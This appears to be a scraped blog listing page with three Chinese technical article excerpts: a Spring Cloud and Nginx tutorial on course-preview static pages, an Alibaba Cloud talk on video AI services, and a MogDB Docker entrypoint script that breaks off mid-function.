//ribbon客户端从eurekaServer中获取服务列表,根据服务名获取服务列表 ResponseEntity<Map> forEntity = restTemplate.getForEntity("http://"+serviceId+"/cms/page/get/5a754adf6abb500ad05688d9", Map.class); Map body = forEntity.getBody(); System.out.println(body); } }4)负载均衡测试添加@LoadBalanced注解后,restTemplate会走LoadBalancerInterceptor拦截器,此拦截器中会通过 RibbonLoadBalancerClient查询服务地址,可以在此类打断点观察每次调用的服务地址和端口,两个cms服务会轮流被调用返回的body数据如下:课程预览课程预览是为了保证课程发布后的正确性,通过课程预览可以直观的通过课程详情页面看到课程的信息是否正确, 通过课程预览看到的页面内容和课程发布后的页面内容是一致的课程详情页面是向用户展示课程信息的窗口,课程相当于网站的商品,本页面的访问量会非常大。此页面的内容设计不仅要展示出课程核心重要的内容而且用户访问页面的速度要有保证,有统计显示打开一个页面超过4秒用户就走掉了,所以本页面的性能要求是本页面的重要需求本页面另一个需求就是SEO,要非常有利于爬虫抓取页面上信息,并且生成页面快照,利于用户通过搜索引擎搜索课程信息如何在保证SEO的前提下提高页面的访问速度对于不会频繁改变的信息可以采用页面静态化的技术,提前让页面生成html静态页面存储在nginx服务器,用户直接访问nginx即可,对于一些动态信息可以访问服务端获取json数据在页面渲染优点:使用Nginx作为web服务器,并且直接访问html页面,性能出色缺点:需要维护大量的静态页面,增加了维护的难度操作流程:1、制作课程详情页面模板2、开发课程详情页面数据模型的查询接口(为静态化提供数据)3、调用cms课程预览接口通过浏览器浏览静态文件静态页面加载思路:打开课程资料中的“静态页面目录”中的课程详情模板页面,模板页面路径如下:静态页面目录\static\course\detail\course_main_template.html1、主页面我们需要在主页面中通过SSI加载:页头、页尾、教育机构、教师信息2、异步加载课程统计与教育机构统计信息课程统计信息(json)、教育机构统计信息(json)3、马上学习按钮事件用户点击“马上学习”会根据课程收费情况、课程购买情况执行下一步操作。静态资源虚拟主机1、配置静态资源虚拟主机静态资源虚拟主机负责处理课程详情、公司信息、老师信息、统计信息等页面的请求:将课程资料中的“静态页面目录”中的目录拷贝到D:\Workspace\webstorm\xcEduUI\xc-ui-pc-static-portal下在Nginx配置文件nginx.conf的http标签下配置以下内容:server { listen 91; server_name localhost; location /static/company/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/company/; } location /static/teacher/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/teacher/; } location /static/stat/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/stat/; } location /course/detail/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/course/detail/; } location /static/category/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/category/; } }2、通过www.xuecheng.com虚拟主机转发到静态资源由于课程页面需要通过SSI加载页头和页尾所以需要通过www.xuecheng.com虚拟主机转发到静态资源。在server_name为www.xuecheng.com的server中加入如下配置:location /static/company/ { proxy_pass http://static_server_pool; } location /static/teacher/ { proxy_pass http://static_server_pool; } location /static/stat/ { proxy_pass http://static_server_pool; } location /course/detail/ { proxy_pass http://static_server_pool;3、配置upstream实现请求转发到资源服务虚拟主机,在http标签中配置如下:upstream img_server_pool{ server 192.168.25.133:80 weight=10; }门户静态资源路径门户中的一些图片、样式等静态资源统一通过/static路径对外提供服务,在server_name为www.xuecheng.com的server中加入如下配置:location /static/img/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/img/; } location /static/css/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/css/; } location /static/js/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/js/; } location /static/plugins/ { alias D:/Workspace/webstorm/xcEduUI/xc-ui-pc-static-portal/plugins/; add_header Access-Control-Allow-Origin http://ucenter.xuecheng.com; add_header Access-Control-Allow-Credentials true; add_header Access-Control-Allow-Methods GET; }cors跨域参数:Access-Control-Allow-Origin:允许跨域访问的外域地址如果允许任何站点跨域访问则设置为*,通常这是不建议的。Access-Control-Allow-Credentials: 允许客户端携带证书访问Access-Control-Allow-Methods:允许客户端跨域访问的方法页面测试请求:http://www.xuecheng.com/course/detail/course_main_template.html测试课程详情页面模板是否可以正常浏览。页面动态脚本为了方便日后的维护,我们将javascript实现的动态部分单独编写一个html 文件,在门户的include目录下定义 course_detail_dynamic.html文件,此文件通过ssi包含在课程详情页面中.文件地址:D:\Workspace\webstorm\xcEduUI\xc-ui-pc-static-portal\include\course_detail_dynamic.html所有的课程公用一个 页面动态脚本。在course_main_template.html主页面下端添加如下代码,通过SSI技术包含课程详情页面动态脚本文件:<script> //课程id var courseId = "template" </script> <!--#include virtual="/include/course_detail_dynamic.html"--> </body> </html>课程数据模型查询接口静态化操作需要模型数据方可进行静态化,课程数据模型由课程管理服务提供,仅供课程静态化程序调用使用。1、实体CourseView@Data @NoArgsConstructor @ToString public class CourseView implements java.io.Serializable { private CourseBase courseBase;//基础信息 private CoursePic coursePic;//课程营销 private CourseMarket courseMarket;//课程图片 private TeachplanNode teachplanNode;//教学计划 }2、API定义@ApiOperation("课程视图查询") public CourseView courseview(String id);3、Controller@Override @GetMapping("/courseview/{id}") public CourseView courseview(@PathVariable("id") String id) { return courseService.getCoruseView(id); }4、Servicepublic CourseView getCoruseView(String id) { }5、Daopublic interface CourseMarketRepository extends JpaRepository<CourseMarket,String> { }课程信息模板设计在确定了静态化所需要的数据模型之后,就可以编写页面模板了,课程详情页面由多个静态化页面组成,所以我们 需要创建多个页面模板,本章节创建课程详情页面的主模板,即课程信息模板。测试:使用swagger-ui或postman测试本接口。课程信息模板设计在确定了静态化所需要的数据模型之后,就可以编写页面模板了,课程详情页面由多个静态化页面组成,所以我们 需要创建多个页面模板,本章节创建课程详情页面的主模板,即课程信息模板。使用test-freemarker工程测试模板1、将course.ftl拷贝到test-freemarker工程的resources/templates下,并在test-freemarker工程的controller中添加测试方法2、Controller中方法:@RequestMapping("/course") public String course(Map<String, Object> map){ //使用restTemplate请求轮播图的模型数据 ResponseEntity<Map> forEntity = restTemplate.getForEntity("http://localhost:31200/course/courseview/4028e581617f945f01617f9dabc40000", Map.class); Map body = forEntity.getBody(); //设置模型数据 map.putAll(body); return "course"; }测试:http://localhost:8088/freemarker/course结果:模板保存模板编写并测试通过后要在数据库保存:1、模板信息保存在xc_cms数据库(mongodb)的cms_template表2、模板文件保存在mongodb的GridFS中第一步:将模板文件上传到GridFS中调用manage-cms中GridFsTest类中testStore方法:@Test public void testStore() throws FileNotFoundException { //定义file File file =new File("D:/Workspace/xcEduService01/test-freemarker/src/main/resources/templates/course.ftl"); //定义fileInputStream FileInputStream fileInputStream = new FileInputStream(file); ObjectId objectId = gridFsTemplate.store(fileInputStream, "course.ftl"); System.out.println(objectId); }保存成功需要记录模板文件的id,即上边代码中的fileId。5ecd0a0cda11e33814bfa410第二步:向cms_template表添加模板记录(请不要重复添加)使用Studio 3T连接mongodb,向cms_template添加记录:{ "_class" : "com.xuecheng.framework.domain.cms.CmsTemplate", "siteId" : "5a751fab6abb5044e0d19ea1", "templateName" : "课程详情页面", "templateParameter" : "courseid", "templateFileId" : "5ecd0a0cda11e33814bfa410" }其它模板除了课程详情主页面需要设计模板所有静态化的页面都要设计模板,如下: 教育机构页面模板、教师信息页面模板、课程统计信息json模板、教育机构统计信息json模板。本项目我们实现课程详情主页面模板的制作和测试,其它页面模板的开发参考课程详情页面去实现。课程预览功能开发1、向cms_page表插入一条页面记录或者从cms_page找一个页面进行测试。注意:页面配置一定要正确,需设置正确的模板id和dataUrl,例如:{ "_id" : ObjectId("5b3469f794db44269cb2bff1"), "siteId" : "5a751fab6abb5044e0d19ea1", "pageName" : "4028e581617f945f01617f9dabc40000.html", "pageAliase" : "课程详情页面测试01", "pageWebPath" : "/course/detail/", "pagePhysicalPath" : "D:\\Workspace\\webstorm\\xcEduUI\\xc-ui-pc-static-portal\\include\\", "pageType" : "1", "pageCreateTime" : ISODate("2018-02-06T07:34:21.255+0000"), "templateId" : "5ecd0a0cda11e33814bfa410", "htmlFileId" : "5eb964ccee1e35162c69c2d9", "dataUrl" : "http://localhost:31200/course/courseview/4028e581617f945f01617f9dabc40000", "_class" : "com.xuecheng.framework.domain.cms.CmsPage" }2、课程详细页面 使用ssi注意由于Nginx先请求cms的课程预览功能得到html页面,再解析页面中的ssi标签,这里必须保证cms页面预览返回的 页面的Content-Type为text/html;charset=utf-8在cms页面预览的controller方法中添加:response.setHeader("Content-type","text/html;charset=utf-8");3、测试:http://www.xuecheng.com/cms/preview/5b3469f794db44269cb2bff1结果:具体逻辑:通过id到cmsPage表中找到DataUrl字段;通过id到cmsPage表中找到TemplateId字段;通过TemplateId到CmsTemplate表中匹配id找到模板文件TemplateFileId字段;通过TemplateFileId到fs.files表获取到模板文件;CMS添加页面接口cms服务对外提供添加页面接口,实现:如果不存在页面则添加,否则就更新页面信息。此接口由课程管理服务在课程预览时调用。1、API@ApiOperation("保存页面") public CmsPageResult save(CmsPage cmsPage);2、Controller在CmsPageController中添加:@Override @PostMapping("/save") public CmsPageResult save(@RequestBody CmsPage cmsPage) { return pageService.save(cmsPage); }课程预览服务端此Api是课程管理前端请求服务端进行课程预览的Api1、API@ApiOperation("课程预览") public CoursePublishResult preview(String id);2、创建 Feign Client在课程管理工程创建CMS服务的Feign Client,通过此Client远程请求cms添加页面。@FeignClient(value = "XC-SERVICE-MANAGE-CMS") //指定远程调用的服务名 public interface CmsPageClient { //根据页面id查询页面信息,远程调用cms请求数据 @GetMapping("/cms/page/get/{id}")//用GetMapping标识远程调用的http的方法类型 public CmsPage findCmsPageById(@PathVariable("id") String id); //添加页面,用于课程预览 @PostMapping("/cms/page/save") public CmsPageResult saveCmsPage(@RequestBody CmsPage cmsPage); }3、在course工程的yml文件中添加:course-publish: siteId: 5a751fab6abb5044e0d19ea1 templateId: 5ecd0a0cda11e33814bfa410 previewUrl: http://www.xuecheng.com/cms/preview/ pageWebPath: /course/detail/ pagePhysicalPath: /course/detail/ dataUrlPre: http://localhost:31200/course/courseview/4、ControllerCourseController中添加以下方法:@Override @PostMapping("/preview/{id}") public CoursePublishResult preview(@PathVariable("id") String id) { return courseService.preview(id); }5、编写前端预览页面操作步骤:启动x前端项目c-ui-pc-teach,点击我的课程-发布课程-课程预览-点我查看课程预览页面即可
文章
JSON  ·  负载均衡  ·  算法  ·  Java  ·  应用服务中间件  ·  API  ·  nginx  ·  数据格式  ·  微服务  ·  Spring
2023-02-10
云端智创|以智能之力,加速媒体生产全自动进程
本文内容整理自「智能媒体生产」系列课程第二讲:视频AI与智能生产制作,由阿里云智能视频云高级技术专家分享视频AI原理,AI辅助媒体生产,音视频智能化能力和底层原理,以及如何利用阿里云现有资源使用音视频AI能力。课程回放见文末。01 算法演进:视频AI原理在媒体生产的全生命周期中,AI算法辅助提升内容生产制作效率,为创作保驾护航。智能生产全链路智能生产全链路可分为五大部分。传统的媒体生产包含采集、编辑、存储、管理和分发五个流程,随着人工智能技术的兴起,五大流程涉及到越来越多的机器参与,其中最主要的便是AI技术的应用。以下举例说明:l 采集在摄像机拍摄时同步进行绿幕抠图,这在演播室或者影视制作场景中是比较常见的。l 编辑编辑过程运用到很多技术,比如横转竖、提取封面、叠加字幕等,同时这些字幕还可以通过语音识别的方式提取出来再叠加在画面上。l 存储视频在采集和编辑之后,需要存储下来进行结构化分析,像智能标签就是运用在存储场景,从视频中提取出相应的标签,进行结构化的存储,并把视频库中的视频进行结构化关联。l 管理存储下来的视频如何管理?如何通过关键词检索到对应的视频?在管理环节,AI可以帮助进行多模态的检索,比如人物搜索等。l 分发在存储和管理之后,视频分发也运用到AI技术,比如音视频DNA、溯源水印等版权保护应用。如果通过直播流的方式对广大用户进行直播,那么分发环节还会涉及到直播审核,以免出现直播故障。基于智能生产全链路,媒体AI全景图应运而生,共分为四个层次:最上面的层次表达媒体生产的应用场景,包含智能媒资管理、内容智能生产以及视频版权保护。往下是产品能力,即AI组合达成的能力,比如视频分类、智能封面、智能抠图等。再往下是AI原子能力,比如语音识别、自然语言处理这些底层的AI能力。最下是支撑AI能力的基础底座,如编解码和GPU加速等。以上组合起来,生成一张AI运用在智能生产中的全景图。视频AI原理视频AI的底层原理究竟是什么?人工智能发源于机器学习,而机器学习最早只是一种统计手段,像决策树、支持向量机、随机森林等各种数学方法。随着时代发展,科学家提出一种人工神经网络的计算方法,或者说算法,后来发现人工神经网络可以变得更大、层次变得更深,经过进一步探索发展,在二十多年前提出了深度学习的观点和概念。所谓深度学习,就是在原先的人工神经网络上,把中间的层次(我们称之为隐含层)扩展成两个层次、三个层次,甚至发展到现在的几十个层次,即可得到更多的输入层和输出层节点。当神经网络变得更大、更深的时候,机器学习就演化成深度学习,也就是我们现在俗称的AI。随之而来产生一个问题:如何将AI运用到视频和图像中?假如有一个1080P的视频,视频大小为1920✖1080,此时一张图像上就存在百万个像素。如果把百万个像素点都放入神经网络中,会产生巨大的计算量,远远超出常规计算机所能达到的上限。因此,在把图像放入神经网络前需要进行处理,研究人员提出了卷积神经网络,而这也是现在所有图像和视频AI的基础。在卷积神经网络的标准模型中,图像进入神经网络之前需要进行两步操作:第一步是卷积层。所谓卷积就是拿一个卷积核(可以简单理解为一个矩阵)和原始图像的每一个卷积核大小的矩阵进行矩阵层的操作,最后得到一个特征图像。由于有多个卷积核,所以一张图片可以提取出多个特征图像。特征图像直接放入神经网络还是太大,因此,需要进行第二步池化层操作,池化层的作用就是下采样,可采取多种方式,比如把方格中的最大值、平均值或者加权平均值作为最终输出值,形成下采样数据。在上述例子中,一张图像的大小降低为原先的四分之一,输入到神经网络之后,极大降低了原始数据量,即可进行图像神经网络处理。由此可见,用通俗的话来讲,视频或图像的AI模型必须是由大数据喂出来的。大数据天然地长在云上,云和AI天然的结合,可以使AI在云上得到较好的发展与运用。了解视频AI原理之后,如何反过来评价AI的效果?以典型的分类问题举例,假如有100个视频,需要找出其中出现过人的视频,那么有两个指标可以评价AI模型的好坏:一个是精度,另一个是召回率。所谓的精度是指,假设AI算法最终找出50个视频,但是检查之后发现,其中只有40个是真正有人的,那么精度计算为40➗50=0.8。召回率是指,假设这100个视频中真正有人的一共有80个,而AI找出了其中40个,那么召回率计算为0.5。可以发现,精度和召回率是一对矛盾。假如想提高精度,只要找出来的视频少一点,就可以保证每个找出来的视频都是对的,即精度上升,但此时召回率一定会下降。现阶段的AI并不完美,也就是说,目前AI还只能辅助视频生产,生产视频的主体还是人。AI辅助生产AI辅助生产可以由以下两个示例进行说明。示例一:通过图片搜索相关图片或视频。Demo显示,输入一张周星驰的图片后,机器虽然不认识这是谁,但是能够从图片中提取此人的外貌特征,然后在视频库里做相应搜索,找出一堆包含周星驰的视频。示例二:智能横转竖。传统电影和电视剧均为横屏播放,随着移动互联网兴起,这些电影和电视剧需要在手机端进行投放,由此诞生了智能横转竖这样的AI算法,将大量的横屏视频转换成竖屏视频,帮助横屏视频在手机端分发。电视剧横转竖效果新闻横转竖效果02 智能进阶:视频内容理解智能标签智能标签基于AI对于视频内容的理解,自动提取视频中的标签、关键词等信息,分析详情会展示为四部分:第一部分是视频标签,获取视频的类目,视频出现过哪些人物,人物出现的时间点以及在视频中的位置,人物的相似度等。第二部分是文本标签,会提炼出一些关键词,包括视频文本中出现过的组织机构,比如央视等。后面两部分为文字识别和语音识别,分别通过图片OCR技术和语音云识别技术实现。具体示例可在AI体验馆中进行体验,同时,也提供API接入文档进行参考。体验中心:https://retina.aliyun.com/#/LabelAPI接入文档:https://help.aliyun.com/document_detail/163485.htmlAI是如何从视频中提取出信息的呢?从视频标签的流程图中可以看到,输入一个视频,分别进行两部分操作:一部分是对视频做抽帧处理,抽帧得到的图像通过人像识别、场景识别、物体识别、地标识别、OCR等图像AI识别模型,提炼出视频标签。另一部分是把视频中的音频提取出来,然后通过ASR得到文本结果,最后再经过NLP(自然语言处理),提取出文本标签。智能审核视频审核的技术原理与视频标签相同,唯一不同的是,视频标签可以理解为一个正向的视频内容理解,而视频审核是负向的,审核需要识别出一些不合规的、有问题的内容,比如鉴黄、暴恐涉政、违规、二维码、不良场景等信息。视频检索视频检索的核心技术点是利用标签结果进行视频的分析和查询。视频检索架构图显示,媒资系统中的视频通过媒资特征入库模块,导入到智能标签分析中,并得到一系列的标签,包括视频标签、文本标签,原始的ASR、OCR结果等,将这些结果连同视频的元数据信息比如标题、描述等,利用ElasticSearch开源服务进行文本信息的倒排索引和查询。视频检索过程中会涉及到精排模块,这需要由业务层来实现。如果只是从ES中把符合检索条件的结果提取出来,不一定能满足业务层需求,比方说业务层面对政治新闻场景时,会要求把某些人物的搜索结果更靠前排序,而这就是精排模块所需要做的工作。检索系统一般都会根据业务层排序,接入业务接口模块,由此一个基本的检索系统搭建完成。但是,现在的检索系统只能按照文本检索视频。如何通过一张图片,检索到相似的图片或视频呢?这涉及到视频DNA检索技术。所谓的视频DNA,就是把视频里面的关键帧或者某一镜头提炼出关键信息,我们把它称之为DNA,并把这些信息放入向量数据库中进行检索,更多内容可通过体验中心和接入文档进行拓展了解。体验中心:https://retina.aliyun.com/#/DNAAPI接入文档:https://help.aliyun.com/document_detail/93553.html03 能力升级:音视频智能处理基于视频内容理解,如何对视频进行智能处理?绿幕抠图绿幕抠图是在视频拍摄或者采集时,把背景替换成电脑制作的画面。在演播室场景中,实际拍摄时根据需求,在主持人的背后放置绿幕背景或者蓝幕背景。影视制作场景同样运用到绿幕抠图,比如科幻片中无法实景拍摄的部分,会在后期进行背景叠加或其他处理工作,通过在人物背后放置绿幕的方式,把人物主体提取出来。绿幕抠图要求输入的是蓝幕或者绿幕视频,分辨率不超过4K,同时输入一张背景图片,即可输出替换背景后的视频。以下为示例说明:一个人从绿幕前走过,替换背景后,变成此人在背景前走路,整体效果非常自然。视频链接:https://v.youku.com/v_show/id_XNTk0MDc4Mjc3Mg==.html视频链接: https://v.youku.com/v_show/id_XNTk0MDc4Mjc5Ng==.html如何评价绿幕抠图的质量?首先要处理好边缘溢色,比如在头发边缘,由于原始的图像背景是绿幕,头发缝边缘必然会染上一些绿色,技术上需要把这些边缘溢色擦除掉。此外,如何真实地呈现透明度,并叠加背后的内容,还有运动模糊,地面阴影等,均是绿幕抠图质量好坏的评价点。横转竖横转竖是在移动互联网上分发视频的必备处理手段。传统人工制作横转竖视频的难点在于:一,需要专业的剪辑软件和制作人员,成本高,速度慢;二,在目标移动比较快的场景中,需要逐帧剪裁,工作量巨大;三,剪裁目标区域后,前后帧难以对齐。因此,横转竖视频更适合由机器制作实现。智能横转竖的算法流程是:首先对视频进行镜头分割,所谓的镜头分割就是在视频制作中,按照不同拍摄机位的转变,识别镜头的切换,并把不同镜头分割开来。视频链接:https://v.youku.com/v_show/id_XNTk0MDg4MjA0NA==.html其次是主体选择,在主体选择时,一般选择画面中最醒目的人作为目标,在上述舞蹈场景中,主体就是这个正在跳舞的人。然后是镜头追踪,每帧图像做好初期选择之后,下一帧都要跟随目标,即框定的图像跟随这个人进行移动。最后是路径平滑,镜头追踪完成之后,最终生成的竖屏视频必须是平滑的,不能出现翘边等不良效果。更多内容可参见官网:体验中心:https://retina.aliyun.com/#/H2VAPI接入文档:https://help.aliyun.com/document_detail/169896.html其他视频智能处理能力目前,阿里云视频云提供的视频智能处理能力,可分为以下四类:1. ROI提取,即感兴趣区域提取,包括绿幕抠图和横转竖;2. 智能擦除,比如去图标、去字幕;3. 关键信息提炼,比如智能封面,即从视频中提取出最能表现视频的一张图片;视频摘要,提取出视频中最能表现视频的简短视频;4. 结构化分析,比如字幕提取,把嵌入在图像中的字幕自动提取出来;PPT拆条,可以将一个课程视频自动拆成段落。讲完视频智能处理能力,接下来介绍两项音频智能处理能力:副歌识别和节奏检测。副歌识别副歌是指歌曲中的高潮片段。副歌识别有何应用场景?比如,很多音乐APP的试听功能,会直接播放歌曲中的高潮片段,人为进行提取相当麻烦,而副歌识别就能很好地完成任务。副歌识别的算法流程为:输入歌曲之后,首先进行音乐段落检测,然后提取副歌段落,并进行精调使之更贴合,最后再生成副歌片段。副歌识别的示例显示,通过调用之后,算法会返回两个结果值,即副歌的开始时间点和结束时间点。大家可以对返回的结果和音频进行对照,从72秒副歌开始,到102秒副歌结束,副歌识别结果还是非常准确的。节奏检测节奏检测即识别音乐中的节奏点,其主要应用场景为视频制作和音乐推荐,比如,通过识别出音乐节奏点,进行鬼畜视频的制作;通过识别音乐的节拍类型,是四三拍还是四四拍,帮助进行音乐分类等。继续以上述音频示例,节奏检测算法输出两个结果:第一个是节拍时间点,如0.46秒、0.96秒均为节拍时间点;第二个是downbeat时间点,在乐理中解释为重拍,其中0.46秒为第一拍,2.46秒为第五拍,也就是说每四拍为一个小节,每小节的第一拍为重拍,由此检测出该音乐的节奏。其他音频智能处理能力此外,视频云还提供其他音频智能处理能力,包括混音,ASR语音识别和TTS语音合成。混音即把两个音乐片段进行叠加,其中涉及到音量增益和自动控制算法。这些能力进行组合,还可以实现更多玩法,比如歌曲串烧,首先通过副歌识别,把几首歌曲的副歌部分提取出来,然后进行节奏检测,把合适的节拍点合在一起,最终组合成一首完整的歌曲串烧。04 开箱即用:阿里云媒资服务基于视频AI原理以及效果,阿里云利用现有资源,提供更方便、更高效的音视频AI使用能力。MPS服务MPS是媒体处理的英文简称。阿里云提供针对多媒体的数据处理服务,将媒体处理过程抽象成两种模式:一种是输入音视频等多媒体文件,经过智能化媒体处理,生成一个新的媒体文件,比如之前提到的智能横转竖。另一种模式是输入一个媒体文件,输出经过媒体处理分析后的一系列结构化数据,比如智能标签或智能审核。MPS支持多项音视频智能处理能力,此外,MPS的媒体文件类型,既可以输入OSS文件,也支持输入网络URL地址。MPS接口调用的流程为:第一步,开通MPS产品,在开通的过程中,控制台会引导进行增加权限等相关操作。开通MPS产品:https://www.aliyun.com/product/mts第二步,调用MPS的Open API接口,获得Access Key,包括AK的ID和密钥。所有阿里云的Open API都要通过AK和SK访问。使用RAM服务获取AccessKey:https://ram.console.aliyun.com/manage/ak第三步,认真阅读MPS提供的API文档:https://help.aliyun.com/document_detail/29210.html第四步,针对开发需要,选用不同编程语言,并安装依赖模块:https://help.aliyun.com/document_detail/188024.html第五步,编写代码。阿里云MPS服务提供的智能化能力可以分为四个维度:一是视频内容理解,包含智能标签,智能审核,媒体DNA,媒体DNA是视频检索中的重要组成部分,还有智能封面、视频摘要等。二是视频智能处理,像横转竖、去图标、去字幕、字幕提取等,从电视剧或电影中抽取出字幕,并输出TXT或者SRT格式,此外,也包括绿幕抠图和PPT拆条等。三是音频智能处理,包含副歌检测、混音处理、节奏检测和音质检测等。四是图片智能处理,包含横转竖、去图标和人像风格化。人像风格化可以把一张人像图片风格化成不同的形式,比如把人像进行卡通化,或者进行3D处理。IMS服务IMS服务是阿里云近年来新上的服务,全称是智能媒体服务,和MPS服务的区别在于:IMS服务围绕直播和点播场景,是针对媒体处理的全流程服务,可认为是MPS服务的重大产品迭代和升级。第一,IMS不仅针对于单个媒体处理过程,而是对于媒体服务全流程、全生产周期的管理和制作;第二,IMS的集成度更高,不光可以进行单个原子能力的音视频处理,还可以进行媒资管理、工作流触发等,让开发者更方便地使用音视频智能化能力;第三,IMS更智能,后续所有智能化能力升级后都会集中体现在IMS服务中。IMS控制台融合了媒资管理,媒资库中的音频视频文件,包括图片、辅助的媒资,都可以通过IMS服务进行展示和管理。利用多模检索的智能化能力,IMS可以实现多媒体文件的智能化检索。传统的音视频文件检索,只能针对标题或者简介进行,而IMS支持对上传的音视频文件做AI自动分类,并根据分类结果进行搜索,同时,也支持对视频中的文字进行自动识别检索。比如,新闻联播的画面中出现了“康辉”两个字样,虽然视频文件的标题和简介里都没有出现过“康辉”,但在搜索“康辉”时,AI还是可以搜索识别出此视频文件,这就是多模检索的能力。Retina多媒体AI体验中心上述MPS和IMS服务的智能化能力,都需要通过Open API调用或者控制台开通使用,而Retina体验中心可以让大家更方便快捷地进行体验,只需上传视频或图片,就可以直观地得到经过智能化处理后的结果。例如,在Retina平台,你可以体验人像卡通化的效果,只需上传一张人像图片,经过自动处理,就能获得童话风格的卡通人像图片,更多体验就在:http://retina.aliyun.com/随着视频与AI技术的发展和演进,AI在媒体生产领域中发挥着越来越重要的作用,以更快的速度、更高的效率完成之前难以实现的事情。未来,AI将从辅助媒体生产,逐渐转变为直接生产有意义、有价值、有情感的视频,进一步加速媒体生产制作全自动处理进程。更多完整内容详见课程回放 ⬇️视频链接:https://v.youku.com/v_show/id_XNTk0MjQ4Mjk5Mg==.html
文章
机器学习/深度学习  ·  存储  ·  人工智能  ·  文字识别  ·  自然语言处理  ·  算法  ·  大数据  ·  API  ·  语音技术  ·  计算机视觉
2023-02-10
从源码解析MogDB/openGauss容器制作教程(二)
e. entrypoint.sh[root@ecs-lee 3.0.1]# cat entrypoint.sh #!/usr/bin/env bash set -Eeo pipefail # 幻术 # usage: file_env VAR [DEFAULT] # ie: file_env 'XYZ_DB_PASSWORD' 'example' # (will allow for "$XYZ_DB_PASSWORD_FILE" to fill in the value of # "$XYZ_DB_PASSWORD" from a file, especially for Docker's secrets feature) # 环境变量 export GAUSSHOME=/usr/local/mogdb export PATH=$GAUSSHOME/bin:$PATH export LD_LIBRARY_PATH=$GAUSSHOME/lib:$LD_LIBRARY_PATH export LANG=en_US.UTF-8 # 文件环境变量 file_env() { local var="$1" local fileVar="${var}_FILE" local def="${2:-}" if [ "${!var:-}" ] && [ "${!fileVar:-}" ]; then echo >&2 "error: both $var and $fileVar are set (but are exclusive)" exit 1 fi local val="$def" if [ "${!var:-}" ]; then val="${!var}" elif [ "${!fileVar:-}" ]; then val="$(< "${!fileVar}")" fi export "$var"="$val" unset "$fileVar" } # check to see if this file is being run or sourced from another script _is_sourced() { [ "${#FUNCNAME[@]}" -ge 2 ] \ && [ "${FUNCNAME[0]}" = '_is_sourced' ] \ && [ "${FUNCNAME[1]}" = 'source' ] } # used to create initial mogdb directories and if run as root, ensure ownership belong to the omm user # 创建相关目录 docker_create_db_directories() { local user; user="$(id -u)" mkdir -p "$PGDATA" chmod 700 "$PGDATA" # ignore failure since it will be fine when using the image provided directory; mkdir -p /var/run/mogdb || : chmod 775 /var/run/mogdb || : # Create the transaction log directory before initdb is run so the directory is owned by the correct user if [ -n "$POSTGRES_INITDB_XLOGDIR" ]; then mkdir -p "$POSTGRES_INITDB_XLOGDIR" if [ "$user" = '0' ]; then find "$POSTGRES_INITDB_XLOGDIR" \! -user postgres -exec chown postgres '{ }' + fi chmod 700 "$POSTGRES_INITDB_XLOGDIR" fi # allow the container to be started with `--user` if [ "$user" = '0' ]; then find "$PGDATA" \! -user omm -exec chown omm '{}' + find /var/run/mogdb \! -user omm -exec chown omm '{}' + fi } # initialize empty PGDATA directory with new database via 'initdb' # arguments to `initdb` can be passed via POSTGRES_INITDB_ARGS or as arguments to this function # `initdb` automatically creates the "postgres", "template0", and "template1" dbnames # this is also where the database user is created, specified by `GS_USER` env # 自定义变量,逻辑为若有传入则使用,没有则使用默认,其中包括 GS_NODENAME、ENCODING、LOCALE、DBCOMPATIBILITY docker_init_database_dir() { # "initdb" is particular about the current user existing in "/etc/passwd", so we use "nss _wrapper" to fake that if necessary if ! getent passwd "$(id -u)" &> /dev/null && [ -e /usr/lib/libnss_wrapper.so ]; then export LD_PRELOAD='/usr/lib/libnss_wrapper.so' export NSS_WRAPPER_PASSWD="$(mktemp)" export NSS_WRAPPER_GROUP="$(mktemp)" echo "postgres:x:$(id -u):$(id -g):PostgreSQL:$PGDATA:/bin/false" > "$NSS_WRAPPER _PASSWD" echo "postgres:x:$(id -g):" > "$NSS_WRAPPER_GROUP" fi if [ -n "$POSTGRES_INITDB_XLOGDIR" ]; then set -- --xlogdir "$POSTGRES_INITDB_XLOGDIR" "$@" fi cmdbase="gs_initdb --pwfile=<(echo "$GS_PASSWORD")" if [ -n "$GS_NODENAME" ]; then cmdbase="$cmdbase --nodename=$GS_NODENAME" else cmdbase="$cmdbase --nodename=mogdb" fi if [ -n "$ENCODING" ]; then cmdbase="$cmdbase --encoding=$ENCODING" else cmdbase="$cmdbase --encoding=UTF-8" fi if [ -n "$LOCALE" ]; then cmdbase="$cmdbase --locale=$LOCALE" else cmdbase="$cmdbase --no-locale" fi if [ -n "$DBCOMPATIBILITY" ]; then cmdbase="$cmdbase --dbcompatibility=$DBCOMPATIBILITY" else cmdbase="$cmdbase --dbcompatibility=PG" fi cmdbase="$cmdbase -D $PGDATA" eval $cmdbase # unset/cleanup "nss_wrapper" bits if [ "${LD_PRELOAD:-}" = '/usr/lib/libnss_wrapper.so' ]; then rm -f "$NSS_WRAPPER_PASSWD" "$NSS_WRAPPER_GROUP" unset LD_PRELOAD NSS_WRAPPER_PASSWD NSS_WRAPPER_GROUP fi } # print large warning if GS_PASSWORD is long # error if both GS_PASSWORD is empty and GS_HOST_AUTH_METHOD is not 'trust' # print large warning if GS_HOST_AUTH_METHOD is set to 'trust' # assumes database is not set up, ie: [ -z "$DATABASE_ALREADY_EXISTS" ] # 密码强度校验 docker_verify_minimum_env() { # check password first so we can output the warning before postgres # messes it up if [[ "$GS_PASSWORD" =~ ^(.{8,}).*$ ]] && [[ "$GS_PASSWORD" =~ ^(.*[a-z]+).*$ ]] && [[ "$GS_PASSWORD" =~ ^(.*[A-Z]).*$ ]] && [[ "$GS_PASSWORD" =~ ^(.*[0-9]).*$ ]] && [[ "$GS_PASSWORD" =~ ^(.*[#?!@$%^&*-]).*$ ]]; then cat >&2 <<-'EOWARN' Message: The supplied GS_PASSWORD is meet requirements. EOWARN else cat >&2 <<-'EOWARN' Error: The supplied GS_PASSWORD is not meet requirements. Please Check if the password contains uppercase, lowercase, numbers, spec ial characters, and password length(8). At least one uppercase, lowercase, numeric, special character. Example: Enmo@123 EOWARN exit 1 fi if [ -z "$GS_PASSWORD" 